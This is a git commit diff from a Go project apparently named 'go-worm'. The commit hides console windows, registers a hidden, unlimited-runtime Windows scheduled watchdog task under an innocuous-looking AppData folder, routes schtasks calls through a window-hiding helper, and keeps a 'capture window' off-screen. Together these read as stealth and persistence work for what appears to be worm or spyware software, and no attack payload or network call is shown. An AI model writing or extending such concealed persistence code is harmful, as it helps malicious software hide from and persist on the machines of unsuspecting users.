fix(windows): prevent console window flash
- Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script
This commit is contained in:
@@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string {
|
||||
b.WriteString(`<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>`)
|
||||
b.WriteString(`<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>`)
|
||||
b.WriteString(`<Hidden>true</Hidden>`)
|
||||
b.WriteString(`<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>`)
|
||||
b.WriteString(`<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>`)
|
||||
b.WriteString(`<AllowStartOnDemand>true</AllowStartOnDemand>`)
|
||||
b.WriteString(`<Enabled>true</Enabled>`)
|
||||
|
||||
@@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) {
|
||||
if !strings.Contains(xml, "<WorkingDirectory>C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp</WorkingDirectory>") {
|
||||
t.Fatalf("WorkingDirectory missing:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>") {
|
||||
t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent")
|
||||
if !strings.Contains(xml, "<Hidden>true</Hidden>") {
|
||||
t.Fatalf("task must be hidden:\n%s", xml)
|
||||
}
|
||||
if !strings.Contains(xml, "<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>") {
|
||||
t.Fatalf("unified scheduler missing:\n%s", xml)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -7,12 +7,10 @@ import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unicode/utf16"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
)
|
||||
|
||||
func enableWatchdog() error {
|
||||
@@ -45,7 +43,7 @@ func disableWatchdog() error {
|
||||
|
||||
func runSchtasks(args ...string) error {
|
||||
cmd := exec.Command("schtasks", args...)
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
msg := strings.TrimSpace(string(out))
|
||||
|
||||
Reference in New Issue
Block a user